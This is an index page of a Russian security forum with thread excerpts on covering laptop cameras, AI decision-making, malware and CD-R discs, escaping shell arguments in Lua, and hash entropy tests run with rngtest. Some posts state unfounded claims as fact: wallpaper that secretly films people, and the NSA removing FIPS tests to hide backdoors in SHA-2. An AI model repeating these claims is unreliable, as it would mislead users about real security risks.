The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



Создать новую тему
 - Свернуть нити
Пометить прочитанным
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | Архив | Избранное | Мое | Новое | | |  
Форум Информационная безопасность
Чем заклеить камеру на Macbook?, !*! Аноним, (Разное / Другая система) 22-Фев-25, 11:30  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
  • изолента, лучше синяя, для эстетов можно даже хб юзать В принципе можно просто , !*! pavel_simple. (?), 20:40 , 23-Фев-25 (1)
    > Сорь, может не совсем в тему, но чем на современных макбуках можно
    > заклеивать камеру? Нужно что-то очень тонкое, вроде листа бумаги. Нужны какие-то
    > наклейки. Но у всех у них отвратительный клей, который оставляет стремные
    > следы, которые можно оторвать вместе с антибликовым покрытием. Хочу чтобы легко
    > снималось и наклеивалось.
    > Спасибо!

    изолента, лучше синяя, для эстетов можно даже хб юзать. В принципе можно просто жвачку налепить или гвоздиком выковырять

    сообщить модератору +/ответить
  • Просто физически вытащи камеру , !*! Аноним (2), 21:52 , 23-Фев-25 (2)
    > Сорь, может не совсем в тему, но чем на современных макбуках можно
    > заклеивать камеру? Нужно что-то очень тонкое, вроде листа бумаги. Нужны какие-то
    > наклейки. Но у всех у них отвратительный клей, который оставляет стремные
    > следы, которые можно оторвать вместе с антибликовым покрытием. Хочу чтобы легко
    > снималось и наклеивалось.
    > Спасибо!

    Просто физически вытащи камеру

    сообщить модератору +/ответить
  • Всё, что хорошо снимается, будет постоянно отклеиваться и отпадать прямо в тот м, !*! DeerFriend (?), 00:16 , 24-Фев-25 (3)
    > Хочу чтобы легко снималось и наклеивалось.

    Всё, что хорошо снимается, будет постоянно отклеиваться и отпадать прямо в тот момент, когда ты голый, а на тебя весь совет директоров смотрит.

    У леновы года 3 назад появились ноутбуки со встроенной шторкой на видимокамеру. У них антиблик не отвалится. У них даже есть матовые экраны, которым антиблик не нужен.

    сообщить модератору +/ответить
  • Всё плохое, что может случиться, обязательно случится Законы Мерфи никто не отм, !*! Neon (??), 04:59 , 24-Фев-25 (4)
    Всё плохое, что может случиться, обязательно случится. Законы Мерфи никто не отменял.
    Просто не стоит открывать ноут в неподходящем виде.)
    Из всех возможных неприятностей произойдёт именно та, ущерб от которой больше.
    От этого, никакая лепучка не спасет.)

    сообщить модератору +/ответить
  • Всего за 8364 49 99 продам Вам две фирменные наклейки на камеру Пишите в ЛС , !*! AppleSellers (?), 08:35 , 02-Мрт-25 (6)
    Всего за €49.99 продам Вам две фирменные наклейки на камеру. Пишите в ЛС.
    сообщить модератору +/ответить
  • Чем заклеить камеру на Macbook?, !*! IT er1 (?), 02:02 , 08-Мрт-25 (7)
    > Сорь, может не совсем в тему, но чем на современных макбуках можно
    > заклеивать камеру? Нужно что-то очень тонкое, вроде листа бумаги. Нужны какие-то
    > наклейки. Но у всех у них отвратительный клей, который оставляет стремные
    > следы, которые можно оторвать вместе с антибликовым покрытием. Хочу чтобы легко
    > снималось и наклеивалось.
    > Спасибо!
    сообщить модератору +/ответить
  • Вдруг кто не знает - они могут между пикселами вставить инфракрасные пикселы, и , !*! IT er1 (?), 02:05 , 08-Мрт-25 (8)
    > Сорь, может не совсем в тему, но чем на современных макбуках можно
    > заклеивать камеру? Нужно что-то очень тонкое, вроде листа бумаги. Нужны какие-то
    > наклейки. Но у всех у них отвратительный клей, который оставляет стремные
    > следы, которые можно оторвать вместе с антибликовым покрытием. Хочу чтобы легко
    > снималось и наклеивалось.
    > Спасибо!

    Вдруг кто не знает - они могут между пикселами вставить инфракрасные пикселы, и видеть за наклейкой - нужно залеплять фольгой!  а так же по бокам экрана инфракрасные датчики - они внутри системы датчики, а в обход - уже не не датчики, а камеры! их то же надо залеплять. еще есть настенные обои - камеры, клеишь их и они сниамют тебя! это вообще никто не расскажет потому что засекречено! заряжаются дистанционно и передают сигнал через беспроводную связь! их то же надо заклеивать!

    сообщить модератору +/ответить
Шифрование разделов LUKS, !*! sheff.artx, (Шифрование, SSH, SSL) 03-Сен-23, 08:03  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]


Соединение с сервером сбрасывается (vless и т.д), !*! Jcbim, (Linux iptables, ipchains / Linux) 21-Фев-25, 13:13  [ | | | ] [линейный вид] [смотреть все]
Понижение привилегий root с помощью file capability (CAP)., !*! Аноним, (Linux привязка / Linux) 23-Мрт-22, 17:55  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]


замена TeamViewer, !*! mmm, (Разное / Другая система) 06-Май-22, 08:24  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]


Сертефикат comodo positive ssl, !*! ЦапЦарапыч, (Шифрование, SSH, SSL) 25-Июл-14, 19:17  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]


Сколько лет интернет провайдеры хранят логи? , !*! Базик, (Разное / Другая система) 06-Апр-23, 18:20  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
Китай tox.chat  и все все все ....., !*! Аноним, (Firewall и пакетные фильтры) 09-Май-23, 17:50  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]


Угроза принятия неверных решений от некомпетентного ИИ (AI)., !*! Аноним, (Разное / Другая система) 17-Июн-23, 07:08  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
  • На первые два вопроса надо было проанализировать только данный лингвистический т, Аноним (1), 08:11 , 17-Июн-23 (1) !*!
  • g План эвакуации а-а-аЦелое исследование ни о чём, капитаните, сударь Я с чатжпт, Tron is Whistling (?), 10:05 , 17-Июн-23 (2) !*!
  • Госуправление в плане хозяйственных вещей, типа создания заявок на ремонты дорог, !*! Аноним (3), 13:45 , 17-Июн-23 (3)
    Госуправление в плане хозяйственных вещей, типа создания заявок на ремонты дорог на основе показаний с датчиков (встроенных в эту дорогу) - это уже реализуемая история, ближайшее будущее.
    Принятие политических решений (с помощью) ИИ - совсем другое. В конце концов, ИИ выдаст какую-нибудь странную хрень типа "мыши станьте ежиками", с припиской "я стратег". И наши чиновники возьмутся заставлять народ это дело исполнять, понятное дело. Надо понимать контекст, чтобы комментировать дискуссию.

    Вопрос главный - почему занимались наноболтами в то время, когда на западе создавали сверточные сетки? Причем их создавали в том числе наши выпускники - недостатка в уровне образования не было. Сейчас в последний вагон заскакивать на хайпе не самая выигрышная стратегия.

    Да, пока Греф только планирует заменять своих банкиров на ИИ, государство уже заменило труд целой кучи людей госуслугами. И придумали эту концепцию еще в 90х, Лужков с Примаковым. Это к вопросу о внедрении вещей в госуправлении, сколько десятилетий это занимает в реальности, а не в бреду финансистов. Лет пять поснимают сливки, поколядуют на ИИ-стартапах и перейдут к новой теме.

    сообщить модератору +/ответить
    • Проблема в руководстве На предприятии проблема в гендиректоре, который слушает , !*! Аноним (4), 14:18 , 17-Июн-23 (4)
      > Вопрос главный - почему занимались наноболтами в то время, когда на западе создавали сверточные сетки?

      Проблема в руководстве. На предприятии проблема в гендиректоре, который слушает эффективного менеджера, который в свою очередь предлагает сократить расходы, заменив высокооплачиваемых ИТ спецов и сложные ИТ решения на девопс с обычным ынтерпрайз софтом.

      В СССР 50-60 предлагали ИТ внедрять для рутинного управления. но денег не дали.

      В США в конце 1960-тых был на бумаге MULTIX и на его реализацию тоже денег тогда не дали, руководство сказало лететь на Луну.

      Руководство не всегда принимает решение вкладывать деньги в правильные технологии.

      сообщить модератору +/ответить
      • коммунисты поняли, что внедрять ИТ поделиться властью поэтому и откзались, , !*! ivan_erohin (?), 21:29 , 24-Сен-23 (8)
        > В СССР 50-60 предлагали ИТ внедрять для рутинного управления. но денег не дали.

        коммунисты поняли, что "внедрять ИТ" = поделиться властью. поэтому и откзались, на всех уровнях.

        сообщить модератору +/ответить
        • Как раз они ничего не поняли Докладчик их раздражал Не вникли в проблему из-за, !*! Аноним (10), 11:47 , 26-Сен-23 (9)
          Как раз они ничего не поняли. Докладчик их раздражал. Не вникли в проблему из-за не компетенции и не увидели выгоды. Кибернетиков жестко разогнали.
          сообщить модератору +/ответить
          • Скрыто модератором, !*! Аноним (17), 01:28 , 24-Ноя-24 (17) [---]
            Вот брехло...  Прям все тупые...
            Скорей они всё же пользовались чувством самосохранения,
            а таких.... (назывём прогрессодрочеров - а, как ещё лаконично?) - ещё в 1930 их же предки(свалив на Сталина затем) выпилили у себя в КП, в т.ч.как опасных для страны, и т.б. КП.
            Потом правда пришли хапуги на всех уровях, распродали страну и своих красных холопов Западу, но и они поняли что, прогресс это м.б.и хорошо но, не тогда когда всем(пример Internet на котром они и приехали, ныне в РФ прилично же заценнзуррован, придуманный у нас но, не сделанный не случайно: когда его завесли из заграниц в начале 90-х - нате вам революцию) и т.б.не тогда когда отдавать власть над собой, в руки прогресса - как бы это ни выражалось,
            это надо быть совсем уж обдолбанным и притом явно желать чужую власть [над собой] себе прикарманить - прикрываясь прогрессом, техническим или ещё каким угодно, как ранее.
            А, у кого она и так уже есть - те естественно не согласны с ней расстаться, дураки что ли. Аналогично и на Западе вверхах но, там свои особенности.
            А, вас послушать - каждый первый... Только вот что то - не вы наверху.
            (А, если бы и дорвались - я бы ещё посмотрел: как вы дальше прогресс развивали...)
            сообщить модератору +/ответить
    • Федерация лет под двадцать три так существует До этого она так существовала поч, !*! Аноним (-), 16:22 , 27-Сен-23 (11)
      > Принятие политических решений (с помощью) ИИ - совсем другое. В конце концов,
      > ИИ выдаст какую-нибудь странную хрень типа "мыши станьте ежиками", с припиской
      > "я стратег". И наши чиновники возьмутся заставлять народ это дело исполнять,
      > понятное дело. Надо понимать контекст, чтобы комментировать дискуссию.

      Федерация лет под двадцать три так существует. До этого она так существовала почти 70 лет. Ещё раньше - уже считать больно.

      сообщить модератору +/ответить
  • Тесты ИИ 2024 https www opennet ru openforum vsluhforumID3 135160 html 47https, !*! Аноним (12), 08:10 , 30-Окт-24 (12)
    • Тестовая задача которую не решает ИИ Надо рассчитать LC-фильтр, фильтр низких ч, !*! Аноним (13), 16:19 , 02-Ноя-24 (13)
      Тестовая задача которую не решает ИИ:

      Надо рассчитать LC-фильтр, "фильтр низких частот" для сети 50Hz, 220V. Частоты 45 - 65 Hz фильтр должен пропускать.
      * Между фазой и землёй ставим конденсатор C1.
      * Между нейтралью и землёй ставим конденсатор C2.
      * За конденсатором C1 в разрыв фазы ставим тороидальный соленоид L1.
      * За конденсатором C2 в разрыв нейтрали ставим тороидальный соленоид L2.
      * За соленоидами между фазой и нейтралью ставим конденсатор C3.

      <code>
              P >------/\/\/\/\/--------------*
                    |      L1     |           |
                    =C1           |           |
                    |             |       Защищаемая
              G <---+---<       C3=      электрическая
                    |             |          сеть
                    =C2           |           |
                    |      L2     |           |
              N <------/\/\/\/\/--------------*
      </code>

      Сначала необходимо рассчитать при каких индуктивностях L1 и L2 в фильтре не будет возникать резонанс на частотах  45 - 65 Hz. Необходимо показать вывод всех формул. Для упрощения в конце формулу можно упростить приняв С1=С2=С3=С=100мкФ, L1=L2=L=?мГн.
      Потом посчитать коэффициент сглаживания при С=100мкФ, L=1мГн для частот 100Hz, 1000Hz,10000Hz,100000Hz,1000000Hz. Вывести табличку и график зависимости коэффициента сглаживания фильтра от частоты сигнала.

      сообщить модератору +/ответить
      • Скрыто модератором, !*! Аноним (17), 01:29 , 24-Ноя-24 (18) [---]
        Как раз такое ИИ может решать(логически рассуждая тут), до какого то уровня сложности вычислительной,
        - возможно у вас дело в ограничениях ему на публику или просто вы хотите от ИИ общего назначения - узко-специализированные решения, так и у людей не бывает.

        Ведь чем больше что то занешь - тем больше чего не знаешь ибо в ущерб этому узнаёшь,
        и т.б. тем больше забываешь... и даже с идеальной памятью - оч.большой объём знаний имеет свои доп-ные побочные эффекты
        (потому и 99% людей - не поумнели а, отупели став всезнайками массово лишились тонкости ума от избытка, да ещё многократно дублируюейся, информации по ТВ и в Internet;
        не удивлюсь если это тоже кем продуманная операция, уч.сколько всяких исследований ежегодно уже многие десятилетия выпускается - исследований влияния разного рода информации на людей).
        В общем, тут как и у людей сидром тупиц-из-гениев (С).

        Даже если и найти супер-гения - не рационално ему заниматься такими мелочами как у вас в примере,
        ...лучше в шахматы играть:) в т.ч.и как вид спорта пиарящего страну.
        Но, вот видим что когда всякие Каспаровы и прч.разные из интеллегенции, т.б.ещё и зомбирванной, лезут с наскока в политику в которой ничего не соображают не квасясь там всю жизнь
          - несут такое что, лучше бы они были дворниками... которые масово в тысчяу раз их умней в этом вопросе, ибо обычно не мнят о себе - больше чем есть на самом деле.

        С ИИ такая же ситуация (более, потому и даже между ИИ - невозно никакого "равенства и братства"... даже для нескольких одинаковых созданных изначально из одного и того же базового ИИ).

        сообщить модератору +/ответить
  • gt оверквотинг удален Необязательные рекомендации вам и бабушки на лавочке у п, !*! Alex5Anc (ok), 07:34 , 01-Дек-24 (19)
    >[оверквотинг удален]
    > согласился. Описал ИИ примерно как работает суждение в мозге человека, какими
    > элементарными критериями могут руководствоваться люди, как создать эти критерии и попросил
    > дать ответы на 3 сложных вопроса основываясь на его внутренней модели
    > и знаниях плюс проанализировав конкретный текст. ИИ на первые два вопроса
    > дал неверный ответ, а на третий вопрос ответа от ИИ не
    > дождался. Лично я смог ответить на данные вопросы в возрасте 14-15
    > лет.
    > Не считаю, что ИИ надо запретить. Наоборот его надо развивать! Но до
    > уровня передачи управления ИИ каким-то процессом очень далеко. Как очень продвинутый
    > поисковик и система дающая некие необязательные рекомендации, ИИ сегодня уже пригоден.

    Необязательные рекомендации вам и бабушки на лавочке у подъезда полную панамку насуют.

    сообщить модератору +/ответить


VLESS через прокси, !*! DanSwano, (VPN, IPSec / Linux) 20-Сен-24, 14:31  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
может малварь повредить уже записаный write-once лазерный диск?, !*! Юрий, (Разное) 10-Окт-24, 19:53  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
  • Похоже можно, хотя и не с каждым приводом - https www 13thmonkey org documenta, !*! ACCA (ok), 00:56 , 11-Окт-24 (1)
    Похоже можно, хотя и не с каждым приводом - https://www.13thmonkey.org/documentation/SCSI/mmc5r04.pdf В общем случае нужно перепрошивать контроллер в приводе.

    А ещё бывают CD-R приводы. Они вообще писать не умеют.

    сообщить модератору +/ответить
  • Хотелось бы понять природу вопроса , !*! Pahanivo пробегал (?), 08:52 , 11-Окт-24 (2) –1
    Хотелось бы понять природу вопроса ....

    сообщить модератору –1 +/ответить
  • Создаю ISO образы и пишу cdrecord на DVD-R ВСЕ стандартное ПО, например cdrecor, !*! Аноним (4), 17:50 , 11-Окт-24 (4)
    Создаю ISO образы и пишу cdrecord на DVD-R. ВСЕ стандартное ПО, например cdrecord откажется писать на записанный диск. Вопрос принят, майлвари можно писать. Но надо менять прошивку диска. Да и CD попавшийся в руки можно испортить проще.
    Перед использованием CD необходимо проверять его подписи и контрольные сумы.
    сообщить модератору +/ответить
  • gt оверквотинг удален при записи на диск используются алгоритмы для контроля и, !*! parad (ok), 23:05 , 11-Окт-24 (5) +1
    >[оверквотинг удален]
    > Насколько понимаю, при записи, например, CD-R, у диска вся поверхность заполнена нулями.
    > Но нолик можно выжечь в единичку лазером. Сменить назад на ноль
    > нельзя, именно поэтому это CD-R, а не CD-RW.
    >  А запись, в норме, заключается в выжигании единичек в нужных местах.
    > Но даже если забить диск под завязку непроженные места останутся, ведь
    > должны же встречаться нули на в файлах и файловой системе. А
    > значит малварь в принцепе способна повредить диск путем прожига оставшихся нулей.
    > В качестве бонуса для параноиков, можно уничтожить чувствительные данные на CD-R таким
    > же путем.
    > Я всё правильно понимаю или я где-то ошибаюсь?

    при записи на диск используются алгоритмы для контроля и восстановления поврежденных данных (саломона-рида, к примеру) и скорее всего блоки защищены/проверяются контрольными суммами. именно благодаря им царапанные диски читаются. сомневаюсь что возможно поверх прожечь диск так (меняя только единицы на нули), чтобы также возможно было подобрать комбинацию для прожига защитных блоков (erasure codes) и контрольных сумм для всего диска или какой-то его значительной части.
    1. это предположение.
    2. это предположение основано на том что считывание осуществляется на нормальном приводе с нормальными драйверами (мез вмешательство в его работу/перепрашивку).
    3. с другой стороны в 90х существовали программы, которые увеличивали ёмкость дискет. скорее всего за счет пространства, занимаемого блоками восстановления (снижая надежность хранения информации). тобиш как минимум прициденнт вмешателства в алгоритмы работы дисководов есть, которые потом проглатывались дисководами без вмешательства. микрософт, к примеру распротранял винду на дискетах ёмкостью 1.7мб, хотя обычная дискета имела объем 1.44мб.
    4. насчет дисков не помню - поищи в интернете, но как мне кажется на митинке продавали диски увеличенной ёмкости, читаемые обычными приводамм (с фильмами и играми). скорее всего там похожий трюк проварачивался. могу ошибаться - давно было. воспаминания туманны, а я стар как вы поняли. )

    резюмируя - если возможно, то сложно...

    сообщить модератору +1 +/ответить
  • На cd диске не хранятся 0 и 1 в том виде как многие думают На самом низком уров, !*! Аноним (6), 11:34 , 13-Окт-24 (6) +2
    На cd диске не хранятся 0 и 1 в том виде как многие думают. На самом низком уровне там EFM кодирование цель которого убрать постоянную составляющую из сигнала и обеспечить восстановление тактового сигнала, чтоб потом уже можно было выделять поток байтов. Поверх которого уже работают алгоритмы выявления и коррекции ошибок более высокого уровня.

    В общем, если модифицировать прошивку, то в теории повредить диск таким образом можно. Записать что то осмысленное нет.

    >[оверквотинг удален]
    > Насколько понимаю, при записи, например, CD-R, у диска вся поверхность заполнена нулями.
    > Но нолик можно выжечь в единичку лазером. Сменить назад на ноль
    > нельзя, именно поэтому это CD-R, а не CD-RW.
    >  А запись, в норме, заключается в выжигании единичек в нужных местах.
    > Но даже если забить диск под завязку непроженные места останутся, ведь
    > должны же встречаться нули на в файлах и файловой системе. А
    > значит малварь в принцепе способна повредить диск путем прожига оставшихся нулей.
    > В качестве бонуса для параноиков, можно уничтожить чувствительные данные на CD-R таким
    > же путем.
    > Я всё правильно понимаю или я где-то ошибаюсь?

    сообщить модератору +2 +/ответить
Криптография X509 GOST: публичные ключи, подписи и шифрование., !*! Аноним, (Шифрование, SSH, SSL) 11-Окт-24, 18:46  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
Bash экранированние, !*! LINUXORGRU, (Безопасное программирование / Linux) 15-Мрт-24, 10:08  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
  • gt оверквотинг удален юзай экспорт и энвирон, таблицу эскейпов я тебе не вспом, !*! Аноним (-), 12:14 , 15-Мрт-24 (1)
    >[оверквотинг удален]
    > Есть ли подвох?
    > P.S Да я знаю про пайпы просто шела
    >
     
    > app1 | app2
    >

    > Но, не все программы умеют читать из стандартного ввода, промежуточные данные могут
    > быть как-то в середине модифицированы (для этого lua мне и нужна)
    > вызовы через popen это просто взять данные в одном месте, обработать
    > на lua, передать дальше. И вот про это "передать" я вот
    > балакаю :)

    юзай экспорт и энвирон, таблицу эскейпов я тебе не вспомню, сам хочу запилить экранизатор, в сторону printf %q посмотри еще

    сообщить модератору +/ответить
    • Из коробки в lua нет setenv только getenv, не ну можно через luajit FFI дёрнуть,, !*! LINUXORGRU (ok), 12:59 , 15-Мрт-24 (2)
      > юзай экспорт и энвирон

      Из коробки в lua нет setenv только getenv, не ну можно через luajit FFI дёрнуть, но хочется любую луа без ограничений от 5.1 и до победного, короче без всяких особенностей.

      Но, через переменные окружения конечно в целом тоже вариант, но мне больше в данный момент интересно является ли обрамление в (плюс экранирование внутренних) одинарные кавычки плюс пробел в конце (ну или в начале или и там и там не суть) достаточным, вроде по логике да.

      1 - одинарные кавычки делают из строки реально просто строку и всё "как-есть" байтовый блоб
      2 - пробел в конце гарантированно ломает попытку шелла исполнить такое 'ls ' так как таких исполняемых файлов не существует (если не создать специально) для надёжности можно так ' ls ' если данные нужны без них можно внутри принимающей программы просто по дефолту игнорировать первый и последний символы и всё (на это я могу пойти), больше важен именно интерфейс туда/сюда, простой и надёжный как тапка.

      И всё, и вроде как все проблемы решены разом. Но вдруг и внезапно есть лазейка? Вроде как нет, но я засомневался и притопал, может кто комидорку кинет в меня и скажет "Ха смотри как можно, вот я тебя и похакал".

      сообщить модератору +/ответить
  • Строки конвертируй в hex , !*! Hello (?), 13:43 , 15-Мрт-24 (3)
    Строки конвертируй в hex.
    сообщить модератору +/ответить
  • man xargsНикогда не надо ничего дергать изнутри программы , !*! Аноним (4), 21:10 , 16-Мрт-24 (4)
    man xargs
    Никогда не надо ничего дергать изнутри программы.
    сообщить модератору +/ответить
  • gt оверквотинг удален если башизмов не боитесь - printf q ЧтоУгодно , !*! мяв (?), 13:33 , 07-Окт-24 (6)
    >[оверквотинг удален]
    > Есть ли подвох?
    > P.S Да я знаю про пайпы просто шела
    >
     
    > app1 | app2
    >

    > Но, не все программы умеют читать из стандартного ввода, промежуточные данные могут
    > быть как-то в середине модифицированы (для этого lua мне и нужна)
    > вызовы через popen это просто взять данные в одном месте, обработать
    > на lua, передать дальше. И вот про это "передать" я вот
    > балакаю :)

    если башизмов не боитесь - printf "%q" 'ЧтоУгодно'

    сообщить модератору +/ответить
  • Хочу похихикать Родина дала им execl - на, пользуйся Не хочу, хочу popen В след, !*! Аноним (7), 14:12 , 07-Окт-24 (7)
    Хочу похихикать.

    >через io.popen()

    Родина дала им execl - на, пользуйся! Не хочу, хочу popen!
    В следующий раз пользуйся тем, у чего есть execl/v()/spawnl/v(). Потому что кто-то (может, даже ты) обязательно не будет экранировать ввод и засунет в popen что не надо.

    >есть ли подвох?
    >text:gsub("'", "'\\''")

    Частично есть. Никогда не обрабатывай на самом деле структурированные (массив, ага) строковые данные с помощью инструментов манипуляции строк. Все эти gsub, split и strip сразу на помойку, если это что-то сложнее базового CSV (и то для CSV в AWK придумали режим). Это что-то типа парсинга HTML регулярками.

    В popen ты должен совать именно сджойненный массив экранированных слов. Экранируешь каждый аргумент, а не всю строку. И вот тогда, когда у тебя внутри escape будет целый аргумент как строка, можешь использовать gsub.

    Короче, сделай себе на popen popenl, который будет принимать МАССИВ и его экранировать по отдельности и будет тебе счастье.

    сообщить модератору +/ответить
  • Тебе не нужен пробел в конце, если ты заэкранировал каждый аргумент и гарантиров, !*! Аноним (7), 14:17 , 07-Окт-24 (8)
    >пробел в конце

    Тебе не нужен пробел в конце, если ты заэкранировал каждый аргумент и гарантированно контролируешь первое слово в команде. Лучше озаботься валидацией вот этого первого слова-команды.

    Если ты вызываешь стандартные утилиты, которые понимают -- как запрет чтения флагов, выставляй -- перед данными.

    сообщить модератору +/ответить
У меня отжали 2 квартиры в Москве с помощью ЭЦП, !*! Nxx, (Авторизация и аутентификация / Другая система) 16-Дек-20, 20:12  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]


Выбор площадки для анонимной публикации, !*! cc1551d332ce, (Разное) 30-Авг-22, 06:01  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
Статистическое исследование энтропии из контрольных сум., !*! Аноним, (ПО для тестирования и диагностики) 11-Мрт-23, 11:51  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
  • Хэширование вообще-то энтропию не создает Часто даже уменьшает , Аноним (1), 13:28 , 12-Мрт-23 (1) +1 !*!
  • Для хеш-сумм главное коллизии Энтропия, конечно, тоже важна, но измерять её инс, Аноним (9), 22:21 , 13-Мрт-23 (4) !*!
    • Т е выше , Аноним (9), 06:06 , 14-Мрт-23 (5) !*!
    • Хорошая энторпия ведет к исключению колизий Это взаимосвязанные понятия Энтропи, Аноним (9), 19:13 , 14-Мрт-23 (9) !*!
      • Вот коллизии и измеряйте Сферический конь в вакууме В пределах погрешности измер, !*! Аноним (9), 20:25 , 14-Мрт-23 (10)
        > Хорошая энторпия ведет к исключению колизий. Это взаимосвязанные понятия.

        Вот коллизии и измеряйте.

        > Энтропия измерялась инструментом, для измерения энтропии.

        Сферический конь в вакууме.

        > Явно в статистике усматривается уменишение энтропии в

        В пределах погрешности измерений.

        > Усматривается вероятность закладок в современных хешах!

        Предоставьте это решать специалистам в данной области, которых на опеннете не водится.

        сообщить модератору +/ответить
        • Меня интересовала именно энтропия Тестом энтропии определённый FIPS 140-2 от 200, !*! Аноним (12), 17:26 , 15-Мрт-23 (12)
          >> Хорошая энторпия ведет к исключению колизий. Это взаимосвязанные понятия.
          > Вот коллизии и измеряйте.

          Меня интересовала именно энтропия.

          >> Энтропия измерялась инструментом, для измерения энтропии.
          > Сферический конь в вакууме.

          Тестом энтропии определённый FIPS 140-2 от 2001-10-10, rngtest из пакета rng-tools.
          (Note that these tests are defined on FIPS 140-1 and FIPS 140-2 errata of 2001-10-10. They were removed in FIPS 140-2 errata of 2002-12-03)

          >> Явно в статистике усматривается уменишение энтропии в
          > В пределах погрешности измерений.

          На счет погрешности не спорю, чтобы точно назвать цифру после трёх девяток необходимо провести 1 000 000 тестов, а проведено всего 10 000. Но данные результаты не будут сильно отличатся от истеных.
          У кого в доме нет отопления может запустить:


          bash entropy-time-hash sha224 |rngtest -c 1000000
          bash entropy-time-hash sha384 |rngtest -c 1000000

          И убедится в совпадении цыфр после 9 в пределах погрешности +-1 .. +-2

          >> Усматривается вероятность закладок в современных хешах!
          > Предоставьте это решать специалистам в данной области, которых на опеннете не водится.

          Лично усматриваю вероятность закладок в современных хешах на основании представленных статистических данных. А то что напишут проплаченные "крыптологи" не внушает доверия.

          сообщить модератору +/ответить
          • Ну провёл вот пару тестов, только на вход подавал не время, а последовательность, !*! Аноним (9), 18:53 , 15-Мрт-23 (14)
            > И убедится в совпадении цыфр после 9 в пределах погрешности +-1 ..
            > +-2

            Ну провёл вот пару тестов, только на вход подавал не время, а последовательность с шагом 1 начиная с единицы:

            $ bash entropy-sequence-hash.sh sha1 |rngtest -c 10000
            rngtest: FIPS 140-2 successes: 9994
            rngtest: FIPS 140-2 failures: 6
            rngtest: FIPS 140-2(2001-10-10) Monobit: 1
            rngtest: FIPS 140-2(2001-10-10) Poker: 0
            rngtest: FIPS 140-2(2001-10-10) Runs: 2
            rngtest: FIPS 140-2(2001-10-10) Long run: 3
            rngtest: FIPS 140-2(2001-10-10) Continuous run: 0
            rngtest: input channel speed: (min=19.277; avg=23.093; max=36.944)Kibits/s


            $ bash entropy-sequence-hash.sh sha3-384 |rngtest -c 10000
            rngtest: FIPS 140-2 successes: 9996
            rngtest: FIPS 140-2 failures: 4
            rngtest: FIPS 140-2(2001-10-10) Monobit: 0
            rngtest: FIPS 140-2(2001-10-10) Poker: 0
            rngtest: FIPS 140-2(2001-10-10) Runs: 3
            rngtest: FIPS 140-2(2001-10-10) Long run: 1
            rngtest: FIPS 140-2(2001-10-10) Continuous run: 0
            rngtest: input channel speed: (min=38.232; avg=53.090; max=89.004)Kibits/s

            И что дальше?...

            > Лично усматриваю вероятность закладок в современных хешах на основании представленных
            > статистических данных. А то что напишут проплаченные "крыптологи" не внушает доверия.

            Найдите непроплаченных или проплаченных вами. Всё лучше, чем _ценное_ мнение доморощенного "крыптоаналитега" одной программой и с ограниченным бюджетом.

            сообщить модератору +/ответить
            • В рекомендациях по написанию PRNG 1980-тых, в случае полного отсутствия энтропии, !*! Аноним (16), 20:03 , 15-Мрт-23 (16)
              > только на вход подавал не время, а последовательность с шагом 1 начиная с единицы

              В рекомендациях по написанию PRNG 1980-тых, в случае полного отсутствия энтропии в системе, разрешалось, для первоначального seed-ирования алгоритма PRNG брать "контрольну суму от времени".

              "PRNG" на основе контрольной сумы последовательности натуральных чисел явно перебор. Но не для энтропии, а для исследования самих контрольных сум и обеспечении повторяемости результата, допускаю использование последовательности натуральных чисел. Сделайте пожалуйста ещё ваш тест для sha224.

              А я повторно выложу свои результаты тестов для sha1, sha224, sha384.

              сообщить модератору +/ответить
          • FIPS 140 определяет допустимый минимум для информационных систем FIPS 140-1 с те, !*! Аноним (15), 19:26 , 15-Мрт-23 (15)
            FIPS 140 определяет допустимый минимум для информационных систем.

            FIPS 140-1 с тестами был опубликован 1994.01.11. И эти тесты почему-то были удалены с FIPS 140-2 от 2002.12.03 !

            SHA-1 приняли 1995.04.17 когда тесты были действующими.

            SHA-2 приняли в 2002.08.01 и тесты FIPS 140-2 в редакции от 2001.10.10 были ещё действующими.

            Предполагаю, что кто-то из любопытства запустил, тесты с FIPS 140-1 от 1994.01.11 и FIPS 140-2 от 2001.10.10 для тестирования SHA-2.

            По результатам тестирования в АНБ отправили письмо с вопросом: "почему энтропия полученыа из нового SHA-2 хуже чем получается из старого SHA-1 ?!!"

            Получив письмо, АНБ, для скрытия своих закладок в SHA-2, 2002.12.03 удалила тесты с стандарта FIPS 140-2.

            сообщить модератору +/ответить
  • Вероятно все дело в том, что все ваши тесты - тестировали по сути один источник,, !*! ыы (?), 08:32 , 15-Мрт-23 (11)
    > Статистическое исследование энтропии тестом  FIPS 140-2 от 2001-10-10, rngtest из пакета
    > rng-tools.
    > Как говорят ложь

    Вероятно все дело в том, что все ваши тесты - тестировали по сути один источник, который зависит от вашей активности за компом...

    SHA1 не берет данные из воздуха... он берет их все из того же источника что и все остальные.
    "RNG генерит случайные числа  на основе данных из пула энтропии(entropy pool) в ядре Linux. Наполнением этого пула так же занимается RNG и делается это на основе случайных событий в системе таких как: тайминги клавиатуры и дисков, движения мыши, прерывания(interrupts), сетевой трафик.
    "
    Поэтому ваш эксперимент нужно проводить не единоразово, а прогонять один и тот же тест по кругу в течении недели...и усреднить значения.

    сообщить модератору +/ответить
    • Естественно, что для тестирования контрольных сум был выбран один источник энтро, !*! Аноним (13), 17:38 , 15-Мрт-23 (13)
      > Вероятно все дело в том, что все ваши тесты - тестировали по сути один источник,

      Естественно, что для тестирования контрольных сум был выбран один источник энтропии:
      https://www.opennet.ru/openforum/vsluhforumID10/5638.html#2

      > который зависит от вашей активности за компом...

      Нет.

      > SHA1 не берет данные из воздуха... он берет их все из того
      > же источника что и все остальные.

      Нет. Для теста энтропии из контрольных сум брался отдельный источник энтропии.

